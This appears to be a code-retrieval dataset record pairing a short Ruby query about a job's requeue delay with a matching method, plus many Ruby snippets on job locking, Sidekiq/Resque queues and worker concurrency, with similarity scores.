"def lock_exclusively!(max_run_time, worker)\n now = self.class.db_time_now\n \n #whether this job has run before in the past\n first_time=self.first_started_at.nil?\n\n #attributes to modify in the job table\n conditions=\"locked_at = ?, last_started_at = ?\"\n attrs=[now,now]\n\n #if it hasn't been run, then we want to also update first_started_at\n if first_time\n conditions+=\", first_started_at = ?\"\n attrs << now\n end\n\n if locked_by != worker\n # We don't own this job so we will also update the locked_by name\n conditions+=\", locked_by = ?\"\n attrs.unshift(conditions)\n attrs << worker\n affected_rows = self.class.update_all(attrs,\n [\"id = ? and (locked_at is null or locked_at < ?) and (run_at <= ?)\", id, (now - max_run_time.to_i), now])\n else\n # We already own this job, this may happen if the job queue crashes.\n # Simply resume and update the locked_at\n attrs.unshift(conditions)\n affected_rows = self.class.update_all(attrs, [\"id = ? and locked_by = ?\", id, worker])\n end\n\n if affected_rows == 1\n #update the attributes to the same values that were set in the database\n self.locked_at = now\n self.last_started_at = now\n self.first_started_at ||= now\n self.locked_by = worker\n return true\n else\n return false\n end\n end",
"def enable_lock\n add option: \"-lock=true\"\n end",
"def locked; end",
"def lock\n post :lock\n end",
"def lock_exclusively!(max_run_time, worker = worker_name)\n now = Time.now\n affected_rows = if locked_by != worker\n # We don't own this job so we will update the locked_by name and the locked_at\n # self.class.update_all([\"locked_at = ?, locked_by = ?\", now, worker], [\"id = ? and (locked_at is null or locked_at < ?)\", id, (now - max_run_time.to_i)])\n klass = self.class\n (klass.all(:id => id) & (klass.all(:locked_at => nil) | klass.all(:locked_at => now))).update(:locked_at => now, :locked_by => worker)\n else\n # We already own this job, this may happen if the job queue crashes.\n # Simply resume and update the locked_at\n # self.class.update_all([\"locked_at = ?\", now], [\"id = ? and locked_by = ?\", id, worker])\n self.class.all(:id => id, :locked_by => worker).update(:locked_at => now)\n end\n if affected_rows == true\n self.locked_at = now\n self.locked_by = worker\n return true\n else\n return false\n end\n end",
"def lock=(value)\n doc['lock'] = value\n end",
"def lock_path; end",
"def lock\n self.is_locked = true\n self\n end",
"def extend_lock!\n Resque.redis.expire(key, timeout)\n end",
"def default_lock_args_method\n default_job_options[LOCK_ARGS_METHOD] ||\n default_job_options[UNIQUE_ARGS_METHOD]\n end",
"def lock_next(worker)\n updates = worker_set\n unless updates.empty?\n #concept copied form delayed_job. If there are a number of \n #different processes working on the queue, the niave approch\n #would result in every instance trying to lock the same record.\n #by shuffleing our results we greatly reduce the chances that\n #multilpe workers try to lock the same process\n updates = updates.to_a.sort_by{rand()}\n updates.each do |u|\n return u if u.lock(worker)\n end\n return nil\n end\n rescue DataObjects::ConnectionError\n sleep 0.1\n retry\n end",
"def locked\n end",
"def try_lock\n end",
"def lock(key, admin = false)\n if @lockable and not @locked and (@keys.include? key or admin)\n @locked = true\n\n if self.can? :connected_to\n other = $manager.find self.connected_to\n other.lock(key, admin) if other.can? :lock\n end\n\n true\n else\n false\n end\n end",
"def locks\n SidekiqUniqueJobs.locks\n end",
"def lock_exclusively!(max_run_time, worker = worker_name)\n now = self.class.db_time_now\n affected_rows = if locked_by != worker\n # We don't own this job so we will update the locked_by name and the locked_at\n self.class.update_all([\"locked_at = ?, locked_by = ?\", now, worker], [\"id = ? and (locked_at is null or locked_at < ?)\", id, (now - max_run_time.to_i)])\n else\n # We already own this job, this may happen if the job queue crashes.\n # Simply resume and update the locked_at\n self.class.update_all([\"locked_at = ?\", now], [\"id = ? and locked_by = ?\", id, worker])\n end\n if affected_rows == 1\n self.locked_at = now\n self.locked_by = worker\n return true\n else\n return false\n end\n end",
"def work\n stat :attempting_lock_on, item_id: object_id\n if @mutex.try_lock\n stat :has_lock_on, item_id: object_id\n chore\n stat :releasing_lock_on, item_id: object_id\n @mutex.unlock\n else\n stat :bailed_on, item_id: object_id\n end\n end",
"def lock!\n @locked = true\n end",
"def lock!\n @locked = true\n end",
"def lock\n @privkey = nil\n @locked = true\n end",
"def lock!\n freeze!\n @locked = true\n self\n end",
"def lock\n shaz_nolock_lock if !@nolock\n end",
"def lock_interaction(job_id)\n operation_lock = nil\n\n # get the lock object\n @manager_lock.synchronize do\n @job_lock_table[job_id] ||= Mutex.new\n operation_lock = @job_lock_table[job_id]\n end\n\n return operation_lock.lock\n end",
"def _good_job_concurrency_key\n key = self.class.good_job_concurrency_config[:key]\n return if key.blank?\n\n key = instance_exec(&key) if key.respond_to?(:call)\n raise TypeError, \"Concurrency key must be a String; was a #{key.class}\" unless VALID_TYPES.any? { |type| key.is_a?(type) }\n\n key\n end",
"def lock; end",
"def lock; end",
"def lock; end",
"def lock_keys\n @lock_keys ||= begin\n [stable_hashcode(lock_name), ENV['WITH_ADVISORY_LOCK_PREFIX']].map do |ea|\n # pg advisory args must be 31 bit ints\n ea.to_i & 0x7fffffff\n end\n end\n end",
"def lock_keys\n @lock_keys ||= begin\n [stable_hashcode(lock_name), ENV['WITH_ADVISORY_LOCK_PREFIX']].map do |ea|\n # pg advisory args must be 31 bit ints\n ea.to_i & 0x7fffffff\n end\n end\n end",
"def lock\n\t\t\tself.instance_eval do \n\t\t\t\tundef :same_piece_count=\n\t\t\t\tundef :difference_ids=\n\t\t\tend\n\t\tend",
"def lock(name, mode)\n yield\n end",
"def locked_by\n @lock_name\n end",
"def locked?(key)\n raise NotImplementedError\n end",
"def to_lock\n raise AbstractFunction,\n \"#to_lock must be implemented on #{self.class.name}!\"\n end",
"def to_lock\n raise AbstractFunction,\n \"#to_lock must be implemented on #{self.class.name}!\"\n end",
"def lock_keys\n @lock_keys ||= [stable_hashcode(lock_name), ENV['WITH_ADVISORY_LOCK_PREFIX']].map do |ea|\n # pg advisory args must be 31 bit ints\n ea.to_i & 0x7fffffff\n end\n end",
"def queue_key\n super || default_queue_key\n end",
"def with_lock(key)\n with_multilock(Array.wrap(key)) do |lock_objects|\n yield lock_objects[key]\n end\n end",
"def lock_timeout=(_arg0); end",
"def locked?(*args)\n inspect_lock(:redis_lock_key, *args)\n end",
"def lock!\n self.for_update!\n end",
"def lock\n doc['lock']\n end",
"def lock!(key, key2 = nil, timeout: nil)\n unless in_transaction?\n raise \"You cannot use lock! outside of a transaction\"\n end\n\n if key.is_a?(String)\n # calculate a 31 bit checksum < 0\n key = Digest::CRC32.hexdigest(key).to_i(16) # get a 32-bit stable checksum\n key &= ~0x80000000 # reset bit 31\n key = -key # make it negative\n end\n\n # shorten key, key2 to the allowed number of bits\n if key2\n key = apply_bitmask(key, MASK_31_BITS)\n key2 = apply_bitmask(key2, MASK_31_BITS)\n else\n key = apply_bitmask(key, MASK_63_BITS)\n end\n\n if timeout\n lock_w_timeout(key, key2, timeout)\n else\n lock_wo_timeout(key, key2)\n end\n end",
"def lock_id\n @lock_id ||= \"test_#{Time.now.to_f}_#{@client_webhook_setting.id}_1\"\n end",
"def worker(key = :default)\n worker = @crypt_workers_cache[key.to_sym]\n if worker.nil?\n worker_klass = key.to_s.camelcase + \"Worker\"\n if Mack::Utils::Crypt.const_defined?(worker_klass)\n worker = \"Mack::Utils::Crypt::#{worker_klass}\".constantize.new\n else\n worker = Mack::Utils::Crypt::DefaultWorker.new\n end\n @crypt_workers_cache[key.to_sym] = worker\n end\n worker\n end",
"def lock_job\n log(:at => \"lock_job\")\n job = nil\n while @running\n break if job = @queue.lock\n @queue.wait\n end\n job\n end",
"def lock_timeout; end",
"def be_worker\n before_work\n super\n end",
"def require_master_key=(_arg0); end",
"def require_master_key=(_arg0); end",
"def lock\n @@lock ||= Monitor.new\n end",
"def key\n @registry.send :_key, @worker_group, @registry.localize(ppid)\n end",
"def lock\n @lock ||= Monitor.new\n end",
"def lock_type=(val)\n @lock_type = val.to_sym\n end",
"def stash_if_restricted(job)\n restricted = nil\n tracking_key = tracking_key(*job.args)\n lock_key = lock_key(tracking_key)\n\n did_run = run_atomically(lock_key) do\n\n restricted = restricted?(tracking_key)\n if restricted\n push_to_restriction_queue(job)\n else\n increment_running_count(tracking_key)\n end\n\n end\n \n # if run_atomically fails to acquire the lock, we need to put\n # the job back on the queue for processing later and act restricted\n # upstack so nothing gets run\n if !did_run\n restricted = true\n job.recreate\n end\n \n return restricted\n end",
"def lock(&block)\n # TODO: only use replace strategy when server is executing the lock\n return call_strategy unless (locked_token = locksmith.lock(&block))\n\n locked_token\n end",
"def remove_lock\n Sidekiq.redis { |redis| redis.del(@locking_key) }\n end",
"def new_worker(opts={})\n @mutex.synchronize {\n job_key = opts[:job_key] || gen_key\n unless self[job_key]\n self[job_key] = instantiate_worker(opts[:class]).new(opts[:args])\n return job_key\n else\n raise ::BackgrounDRbDuplicateKeyError\n end \n }\n end",
"def worker_number=(worker_num); end",
"def lock\n @locked = true\n self\n end",
"def before_enqueue_lock(*args)\n if lock_enqueue(*args) == false\n return true\n else\n return Resque.redis.setnx(lock_enqueue(*args).to_s, true)\n end\n end",
"def unlocked?\n unlocked, _, @active_worker_timestamp = Sidekiq.redis do |redis| \n redis.multi do\n redis.setnx(@locking_key, @current_worker_timestamp)\n redis.expire(@locking_key, 600)\n redis.get(@locking_key)\n end\n end\n unlocked\n end",
"def lock_expired?; end",
"def lock _obj, _args\n \"_obj lock _args;\" \n end",
"def enqueued?(*args)\n inspect_lock(:redis_loner_lock_key, *args)\n end",
"def lock_timeout_retries=(_arg0); end",
"def mutex; end",
"def mutex; end",
"def mutex; end",
"def mutex; end",
"def lockDriver _obj, _args\n \"_obj lockDriver _args;\" \n end",
"def get_lock_id\n @lock_id\n end",
"def delete_worker(key)\n @mutex.synchronize {\n if @jobs[key]\n if @jobs[key].respond_to?(:thread) && @jobs[key].thread.alive?\n if @jobs[key].job_ctrl\n @jobs[key].thread[:kill] = true\n @jobs[key].thread[:safe_to_kill].wait(@mutex)\n end \n @jobs[key].thread.kill\n end\n @jobs.delete(key)\n end\n @timestamps.delete(key) if @timestamps.has_key?(key)\n }\n end",
"def allow_concurrency=(_arg0); end",
"def allow_concurrency=(_arg0); end",
"def set_wo_lock(obj)\n @obj = obj\n end"
] |
[
"0.7241906",
"0.70471346",
"0.6950251",
"0.6916594",
"0.6878906",
"0.6782911",
"0.6683809",
"0.6624477",
"0.6624477",
"0.6624477",
"0.660718",
"0.65577626",
"0.653717",
"0.6368507",
"0.63592064",
"0.63362813",
"0.629296",
"0.6269905",
"0.62202007",
"0.6199466",
"0.61821216",
"0.6154599",
"0.6147091",
"0.61332643",
"0.6132656",
"0.6131195",
"0.61102444",
"0.6102205",
"0.6064753",
"0.60641223",
"0.6062761",
"0.60481375",
"0.6045538",
"0.6023146",
"0.60029846",
"0.5994629",
"0.59567904",
"0.5943629",
"0.59329647",
"0.5931314",
"0.5927702",
"0.59126186",
"0.5895536",
"0.5894566",
"0.5867784",
"0.5862835",
"0.58627844",
"0.58435327",
"0.58322185",
"0.58322185",
"0.58322185",
"0.5825231",
"0.5825231",
"0.58073896",
"0.5804064",
"0.579439",
"0.57687527",
"0.5764807",
"0.5764807",
"0.57606477",
"0.57557046",
"0.57526517",
"0.57409245",
"0.57337385",
"0.5723581",
"0.57218313",
"0.57187253",
"0.5699844",
"0.56964904",
"0.5687773",
"0.56859505",
"0.567199",
"0.5665072",
"0.5665072",
"0.56337714",
"0.5631826",
"0.5624848",
"0.56091356",
"0.5608385",
"0.5607421",
"0.5603531",
"0.55877906",
"0.55854493",
"0.5576887",
"0.5575488",
"0.55631036",
"0.5556799",
"0.554867",
"0.55427575",
"0.55387115",
"0.5520409",
"0.5520409",
"0.5520409",
"0.5520409",
"0.5519132",
"0.55159944",
"0.55085015",
"0.5505175",
"0.5505175",
"0.5501154"
] |
0.6776981
|
6
|
Override in your job to change the perform requeue delay
|
def requeue_perform_delay
1.0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_queue_delay\n new_delay = params[:delay].to_f\n if new_delay == 0\n head :bad_request\n else\n Rails.application.config.queue_delay = new_delay\n render :get_queue_delay\n end\n end",
"def requeue_throttled\n Sidekiq.redis { |conn| conn.lpush(QueueName.expand(queue_name), job) }\n end",
"def reschedule(job, time = T.unsafe(nil)); end",
"def lock_timeout_retry_delay=(_arg0); end",
"def requeue\n @action = :requeue\n end",
"def default_delay\n 0.seconds\n end",
"def delay\n @delay ||= 600\n end",
"def retry_delay\n 30\n end",
"def reply (workitem)\n\n unschedule_timeout(workitem)\n\n super\n end",
"def delay\n @delay || initial_delay\n end",
"def re_enqueue\n BulkImportWorker.perform_in(PERFORM_DELAY, @bulk_import.id)\n end",
"def queue_job; end",
"def delay_time\n end",
"def delay_request\n\t\tif config[:strategy][:type] == \"linear\"\n\t\t\tdelay = Random.rand( config[:strategy][:delaymin] .. config[:strategy][:delaymax]).to_f\n\t\t\t\n\t\t\tdebug.print(3, \"Delaying\", delay, \" before adding another request in queue\", File.basename(__FILE__), __LINE__)\n\t\t\t\n\t\t\tsleep(delay)\n\t\tend\n\tend",
"def default_delay\n @@default_delay ||= 0\n end",
"def delay\n @delay || initial_delay\n end",
"def wfs_delay\n super + 5\n end",
"def worker_timeout(timeout); end",
"def retry\n self.class.enqueue(\n object,\n method_name,\n *(args << {\n :job_options => {\n :parent_id => parent_id || id,\n :run_at => Time.now + times_failed ** 4,\n :priority => priority\n }\n })\n )\n end",
"def requeue(queue, opts = {})\n queue_name = case queue\n when String, Symbol then queue\n else queue.name\n end\n\n note_state_change :requeue do\n @client.call('requeue', @client.worker_name, queue_name, @jid, @klass_name,\n JSON.dump(opts.fetch(:data, @data)),\n opts.fetch(:delay, 0),\n 'priority', opts.fetch(:priority, @priority),\n 'tags', JSON.dump(opts.fetch(:tags, @tags)),\n 'retries', opts.fetch(:retries, @original_retries),\n 'depends', JSON.dump(opts.fetch(:depends, @dependencies))\n )\n end\n end",
"def requeue\n __requeue__(\"RPUSH\")\n end",
"def queue_lock_timeout\n 3600\n end",
"def set_delay(delay)\n @delay = delay\n end",
"def perform args={each_minute: RUN_EVERY}\n # call an other job\n CowsayJob.perform_later # topic: 'ru'\n \n self.class.perform_later wait: args[:each_minute].minute # re-queue\n end",
"def delay; end",
"def delay; end",
"def delay; end",
"def requeue_timed_out_jobs\n # older than x\n jobs.where{started_working_at <= (Time.now - EQ.config.job_timeout)}\\\n .update(started_working_at: nil)\n end",
"def perform(*args)\n if Service.get_service.jobs_enabled?\n # Job processing is enabled.\n Delayed::Worker.logger.info \"---> running #{self.class}(#{args.join(',')}) on #{self.queue_name} at priority #{Process::getpriority(Process::PRIO_PROCESS, 0)}\"\n start_time = Time.current\n perform_if_enabled(*args)\n Delayed::Worker.logger.info \"<--- finished #{self.class} after #{time_ago_in_words(start_time)}\"\n else\n # Resubmit the job with the required parameters after the specified delay. If the inline adapter is being used, we just ignore this.\n Delayed::Worker.logger.warn \"**** job processing disabled for #{self.class}\"\n begin\n self.class.set(wait: DISABLED_RETRY_INTERVAL).perform_later(*args)\n rescue NotImplementedError => _e\n Delayed::Worker.logger.error \"**** no job queue available for future job #{self.class}\"\n end\n end\n end",
"def resolve_retry_delay(delay)\n if delay.respond_to?(:queue_retry_delay)\n resolve_retry_delay(delay.queue_retry_delay)\n elsif delay.is_a?(Integer) # numerical\n delay\n else # default\n Backburner.configuration.retry_delay\n end\n end",
"def requeue\n Sidekiq.redis { |conn| conn.rpush(QueueName.expand(queue_name), job) }\n end",
"def setup_retry_queue(delay, index)\n channel.queue(\"#{queue_name}_delay_#{index}\",\n durable: !Proletariat.test_mode?,\n auto_delete: Proletariat.test_mode?,\n arguments: {\n 'x-dead-letter-exchange' => exchange_name,\n 'x-dead-letter-routing-key' => \"#{queue_name}_requeue\",\n 'x-message-ttl' => delay\n }\n ).bind(exchange, routing_key: \"#{queue_name}_delay_#{index}\")\n end",
"def queue_time\n NotImplementedError\n end",
"def requeue_throttled\n __requeue__(\"LPUSH\")\n end",
"def requeue\n update_attributes(failed: false, failed_at: nil, failure_reason: nil,\n delivered: false, delivered_at: nil)\n queue\n end",
"def minretrydelay=(retry_delay)\r\n\t\t\t`#{BITS::BITSADMIN} /setminretrydelay {#{@id}} #{retry_delay}`\r\n\t\tend",
"def trigger_requeue!\n false\n end",
"def queue_respond_timeout(ttr=nil)\n if ttr\n @queue_respond_timeout = ttr\n else # accessor\n @queue_respond_timeout\n end\n end",
"def timer_task_options\n { run_now: true, execution_interval: reaper_interval }\n end",
"def retry_delay(executes)\n (executes ** 4) + 2\n end",
"def delayed_queue_schedule_size\n redis.zcard(:delayed_queue)\n end",
"def to_reschedule (scheduler)\n\n #return if @timeout_job_id\n #\n # already rescheduled\n\n return unless @timeout_at\n #\n # no need for a timeout\n\n @timeout_job_id = \"timeout_#{self.fei.to_s}\"\n\n scheduler.schedule_at(\n @timeout_at,\n { :schedulable => self,\n :job_id => @timeout_job_id,\n :do_timeout! => true,\n :tags => [ \"timeout\", self.class.name ] })\n\n ldebug do\n \"to_reschedule() will timeout at \" +\n \"#{Rufus::to_iso8601_date(@timeout_at)}\" +\n \" @timeout_job_id is #{@timeout_job_id}\" +\n \" (oid #{object_id})\"\n end\n\n #store_itself()\n #\n # done in the including expression\n end",
"def schedule_timeout (workitem, timeout_attname=:timeout)\n\n determine_timeout(workitem, timeout_attname)\n to_reschedule(get_scheduler)\n end",
"def delay(seconds); end",
"def delay(seconds); end",
"def lock_timeout_retry_delay; end",
"def retry_later\n @meta[Cworked_at] = nil\n @meta[Crt_count] += 1\n @meta[Crt_at] = Time.now.utc + (queue.rt_at_interval * @meta[Crt_count])\n put_meta\n\n rcache.lpush(queue.retries_cache_key, trx_id)\n rcache.lrem(queue.working_cache_key, 0, trx_id)\n end",
"def perform_later(*args, **options)\n __debug_job(__method__) { \"options = #{item_inspect(options)}\" } # TODO: remove\n job_warn { \"ignoring method args #{args.inspect}\" } if args.present?\n enqueue(options)\n end",
"def delayed\n NotImplementedError\n end",
"def perform!\n Quebert.config.before_job(self)\n Quebert.config.around_job(self)\n\n # Honor the timeout and kill the job in ruby-space. Beanstalk\n # should be cleaning up this job and returning it to the queue\n # as well.\n val = ::Timeout.timeout(ttr, Job::Timeout){ perform(*args) }\n\n Quebert.config.around_job(self)\n Quebert.config.after_job(self)\n\n val\n end",
"def increment_delay!\n @delay = [delay * multiplier, max_delay].min\n end",
"def lock_timeout_retries=(_arg0); end",
"def redisplay_delay\r\n 20\r\n end",
"def reset_delayed_queue\n redis.del :delayed_queue\n end",
"def doge_control\r\n @next_queue_time = get_queue_time\r\n end",
"def increment_delay!\n @delay = [delay * multiplier, max_delay].min\n end",
"def queue_task\n task_class.perform_later(id, variables)\n end",
"def retry_later\n IngestWorkflowMonitorJob.set(wait: 15.minutes).perform_later(flow.id, @params)\n end",
"def retry_send_submission\n now = DateTime.now.utc\n queued_at = efile_submission_transitions.where(to_state: \"queued\").pluck(:created_at).max\n if queued_at.nil?\n transition_to!(:failed, error_code: \"TRANSMISSION-SERVICE\", raw_response: \"Unable to retry_send_submission because submission was never queued.\")\n return\n end\n\n age = now.to_time - queued_at.to_time\n if age > 1.days\n transition_to!(:failed, error_code: \"TRANSMISSION-SERVICE\", raw_response: \"Deadline exceeded when retrying send submission. Waited for about 1 day.\")\n return\n end\n\n max_backoff = 60.minutes\n backoff =\n if age > max_backoff\n max_backoff\n else\n age ** 1.25\n end\n retry_wait = backoff + SecureRandom.rand(30)\n GyrEfiler::SendSubmissionJob.set(wait_until: now + retry_wait).perform_later(self)\n end",
"def delay(time)\n @context.backend.delay(time)\n end",
"def delayed_jobs\n # The double-checks here are so that we won't blow up if the config stops using redis-namespace\n timestamps = (Array(Resque.redis.zrange(\"resque:delayed_queue_schedule\",0,-1)) + \n Array(Resque.redis.zrange(\"delayed_queue_schedule\",0,-1)))\n raise \"Nothing on delayed schedule\" if timestamps.empty?\n\n timestamps.map { |timestamp|\n [\n Array(Resque.redis.lrange(\"resque:delayed:#{timestamp}\",0,-1)) + Array(Resque.redis.lrange(\"delayed:#{timestamp}\",0,-1)),\n timestamp,\n ]\n }.map { |(job_strings,timestamp)|\n job_strings.map { |job_string|\n JSON.parse(job_string).merge('scheduler_timestamp' => timestamp.to_i)\n }\n }.flatten\n end",
"def to_job\n super.tap do |job|\n if commit_log.status == PhraseStatus::PUSHED\n job.set_delay(random_delay)\n job.set_queue('finalize')\n end\n end\n end",
"def follow_on_delay\n default_delay\n end",
"def _run\n super.tap { reenqueue }\n end",
"def minretrydelay\r\n\t\t\t`#{BITS::BITSADMIN} /getminretrydelay {#{@id}}`\r\n\t\tend",
"def trigger (scheduler)\n\n ldebug { \"trigger() timeout requested for #{@fei.to_debug_s}\" }\n\n set_timedout_flag(@applied_workitem)\n\n cancel\n\n reply_to_parent(@applied_workitem)\n end",
"def delay(exception)\n warn \"Delay: #{payload}\"\n warn exception.message\n if attempt <= max_retries\n # Publish the message to the delay queue\n delay_exchange.publish(payload, routing_key: postman.requeue_key, headers: { attempts: attempt + 1 })\n # Acknowledge the original message\n main_exchange.ack(delivery_tag)\n else\n deadletter(exception)\n end\n end",
"def do_trigger\n\n hit_exception = false\n\n begin\n\n @block.call @job_id, @at, @params\n\n rescue Exception => e\n\n @scheduler.send(:log_exception, e)\n\n hit_exception = true\n end\n\n if \\\n @scheduler.instance_variable_get(:@exit_when_no_more_jobs) or\n (@params[:dont_reschedule] == true) or\n (hit_exception and @params[:try_again] == false)\n\n @scheduler.instance_variable_get(:@non_cron_jobs).delete(job_id)\n # maybe it'd be better to wipe that reference from here anyway...\n\n return\n end\n\n #\n # ok, reschedule ...\n\n\n params[:job] = self\n\n @at = @at + Rufus.duration_to_f(params[:every])\n\n @scheduler.send(:do_schedule_at, @at, params)\n end",
"def work( payload, metadata )\n\t\tself.job_counter.mark\n\t\tself.job_timer.time do\n\t\t\tsuper\n\t\tend\n\tend",
"def timeout\n super\n end",
"def timeout\n super\n end",
"def execute_send\n record_start_time\n queue_attempt\n end",
"def deliver_later_with_additional_delay\n yield.deliver_later(wait: 1.second)\n end",
"def lock_timeout_retries; end",
"def lock_timeout=(_arg0); end",
"def gateway_retry_delay\n delay = @options &&\n (\n @options[:gateway_retry_delay] ||\n @options['gateway_retry_delay']\n )\n delay.nil? ? 1.0 : delay.to_f\n end",
"def gateway_retry_delay\n delay = @options &&\n (\n @options[:gateway_retry_delay] ||\n @options['gateway_retry_delay']\n )\n delay.nil? ? 1.0 : delay.to_f\n end",
"def delayed_push(timestamp, item)\n # This line could raise `LockingError` and it should be handled in the\n # `enqueue_at_with_queue` method\n #\n # We can't handle exception here, because of jobs, which raise an error on locking\n # will run after hooks, but its unexpected behavior.\n Resque::Job.new(item[:queue], 'class' => item[:class], 'args' => item[:args])\n .uniqueness\n .try_lock_queueing(timestamp.to_i - Time.now.to_i)\n super\n end",
"def timeout_queue(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"timeout queue \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def requeue_job(job, max_requeues)\n return false if max_requeues.zero?\n\n @redis.eval(\n REQUEUE_JOB,\n keys: [key_queue_unprocessed, key_requeues],\n argv: [job, max_requeues]\n )\n end",
"def triggerTimeout _args\n \"triggerTimeout _args;\" \n end",
"def delay_time=(seconds)\n end",
"def try_again(job)\n if job['period'] && job['period'] > 0\n job['make_after'] = job['period']\n else\n job['make_after'] = job['attempt'] * JobReactor.config[:retry_multiplier]\n end\n job['args'].delete(:job_itself)\n self.storage.save(job) do |job|\n self.schedule(job)\n end\n end",
"def default_task\n SidekiqUniqueJobs::TimerTask.new(timer_task_options) do\n with_logging_context do\n redis do |conn|\n refresh_reaper_mutex\n Orphans::Reaper.call(conn)\n end\n end\n end\n end",
"def queue(delay = 0, &block)\n queue_time = Process.clock_gettime(Process::CLOCK_MONOTONIC) + delay\n job = [queue_time, block]\n\n @mutex.synchronize do\n i = @jobs.length\n while i > 0\n i -= 1\n current, _ = @jobs[i]\n if current < queue_time\n i += 1\n break\n end\n end\n @jobs.insert(i, job)\n @next = queue_time if i == 0\n end\n\n unless @thread.alive?\n @mutex.synchronize do\n @thread = Thread.new { do_work } unless @thread.alive?\n end\n end\n\n if @thread.status == \"sleep\"\n @thread.wakeup\n end\n\n Cancelable.new(job)\n end",
"def set_api_request_delay(seconds=0)\n DaemonKit.logger.debug \"Setting FB api scheduler with #{seconds} sec. delay\"\n scheduler = RequestScheduler::ThreadSafe.new('FacebookBackup', :delay => seconds)\n @request = FacebookBackup::Request.new(@id, scheduler)\n end",
"def retry(timeout_or_schedule)\n @commands_and_opts.push \"#{OPTIONAL_OPTS[:retry]}=#{timeout_or_schedule}\"\n self\n end",
"def cb_perform_now(**opt)\n __debug { \"#{__method__} | opt = #{opt.inspect}\" } # TODO: remove\n receiver.job_class.perform_now(receiver, meth, **opt)\n true # TODO: return from #perform ???\n end",
"def _rtimeout(wi)\n Ruote.participant_send(self, :rtimeout, 'workitem' => wi)\n end",
"def queue_for_grading\n delay.grade!\n end",
"def lock_timeout_limit=(_arg0); end",
"def schedule!(options = {})\n return unless ::Delayed::Worker.delay_jobs\n unschedule(options)\n new(options).schedule!(options)\n end",
"def reschedule(time)\r\n \"missing time\" if time.nil?\r\n\r\n time_rufus = Rufus.to_datetime time\r\n\r\n @job.unschedule unless (self.time == :forever)\r\n\r\n @job = @scheduler.at time_rufus.to_s do\r\n @timed_out = true\r\n @subscribers.each { |object| object.timed_out }\r\n end\r\n\r\n @time = time\r\n end",
"def delay=(value)\n\t\t\t@delay = value\n\t\tend",
"def delay=(value)\n\t\t\t@delay = value\n\t\tend",
"def schedule_queue_bill(*args)\n self.class.schedule_queue_bill(*args)\n end",
"def retry_options\n {tries: 15, sleep: 1}\n end",
"def default_delay=(v)\n @@default_delay = v\n end",
"def watch_delay\n @conn.watch(Web.keys[:delay]) do\n yield if block_given?\n end\n end"
] |
[
"0.69786054",
"0.65515125",
"0.6459481",
"0.64539534",
"0.642076",
"0.62689626",
"0.6257766",
"0.62181807",
"0.6182932",
"0.61827517",
"0.61612123",
"0.61576355",
"0.61546713",
"0.61506736",
"0.6126636",
"0.61198545",
"0.6104276",
"0.61037624",
"0.6097983",
"0.60850203",
"0.60506785",
"0.6037862",
"0.6017696",
"0.60096526",
"0.6006621",
"0.6006621",
"0.6006621",
"0.60050136",
"0.60048187",
"0.5998873",
"0.5986258",
"0.5979985",
"0.5966948",
"0.592812",
"0.59169704",
"0.5846223",
"0.58428204",
"0.58347076",
"0.581428",
"0.58100945",
"0.58015496",
"0.5797981",
"0.57892776",
"0.5752525",
"0.5752525",
"0.5749329",
"0.57425815",
"0.57333183",
"0.5728272",
"0.57029265",
"0.56891847",
"0.5685063",
"0.56800276",
"0.56703717",
"0.5663078",
"0.5660491",
"0.56589735",
"0.5644074",
"0.56276107",
"0.56212837",
"0.5611767",
"0.5611576",
"0.56034863",
"0.5598175",
"0.55918705",
"0.5584708",
"0.558273",
"0.5582466",
"0.5577886",
"0.5574764",
"0.5574764",
"0.5563911",
"0.5553774",
"0.55524576",
"0.55404085",
"0.5532954",
"0.5532954",
"0.552596",
"0.55252755",
"0.5517464",
"0.5516698",
"0.5509816",
"0.550391",
"0.55002844",
"0.5495096",
"0.54931694",
"0.54914284",
"0.5488754",
"0.54794717",
"0.5470897",
"0.5465243",
"0.54590315",
"0.54425293",
"0.542946",
"0.542946",
"0.5427724",
"0.5415512",
"0.5411195",
"0.5408019"
] |
0.8617258
|
1
|
Number of maximum concurrent workers allow
|
def concurrent_workers(*args)
1
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def worker_pool_size; end",
"def workers(count); end",
"def worker_concurrency\n ENV.fetch('PUB_SUB_WORKER_CONCURRENCY', 4).to_i\n end",
"def worker_count()\n @workers.size\n end",
"def worker_count()\n @workers.size\n end",
"def max_workers\n Resque::Kubernetes.max_workers\n end",
"def max_concurrency\n -1\n end",
"def concurrent_limit\n @concurrent ||= 1\n end",
"def max_workers\n HireFire.configuration.max_workers\n end",
"def max_workers\n HireFire.configuration.max_workers\n end",
"def max_queue_threads\n 1\n end",
"def maxjobs\n runopts(:maxjobs)\n end",
"def max_threads\n\t\t\t@max_threads ||= 30\n\t\tend",
"def excess_task_workers\n @task_worker_lock.synchronize do\n @task_worker_size - @task_workers.size - @spawnings\n end\n end",
"def njobs\n @pool.njobs\n end",
"def workers\n ::Resque.info[:workers].to_i\n end",
"def thread_count\n @worker_threads_count.value\n end",
"def maximum_concurrency\n self.class.maximum_concurrency self\n end",
"def busy_workers\n if @threadsafe\n 0\n else\n @workers.size - @worker_queue.size\n end\n end",
"def worker_count\n @action == 'run' ? 1 : workers\n end",
"def worker_threads\n @workers.synchronize { @workers.size }\n end",
"def max_processing_pool_threads\n @max_processing_pool_threads ||= ENV.fetch(\"MAX_PROCESSING_POOL_THREADS\", 5).to_i\n end",
"def min_workers\n HireFire.configuration.min_workers\n end",
"def concurrency\n (config('concurrency') || 1).to_i\n end",
"def max_queue_count()\n @max_queue_count\n end",
"def missing_workers\n @options[:process_count] - @workers.length\n end",
"def max_length\n @executor.getMaximumPoolSize\n end",
"def calc_final_desired_workers\n required_workers = 0\n @worksets.each do |workset|\n required_workers += workset[0] if workset && workset[0]\n end\n required_workers = [required_workers, @max_workers].min\n required_workers = [required_workers, @min_workers].max\n required_workers\n end",
"def worker_pool_size=(_arg0); end",
"def njobs\n @njobs.to_i\n end",
"def fork_count\n ENV['OPAL_PREFORK_THREADS']&.to_i || (Etc.nprocessors * 3 / 4.0).ceil\n end",
"def largest_length\n @executor.getLargestPoolSize\n end",
"def slave_count\n workers.size - 1\n end",
"def length\n @executor.getPoolSize\n end",
"def def_max_loops\n 1024\n end",
"def terminate_timeout\n workers.map(&:stop_timeout).compact.max.to_i + 10\n end",
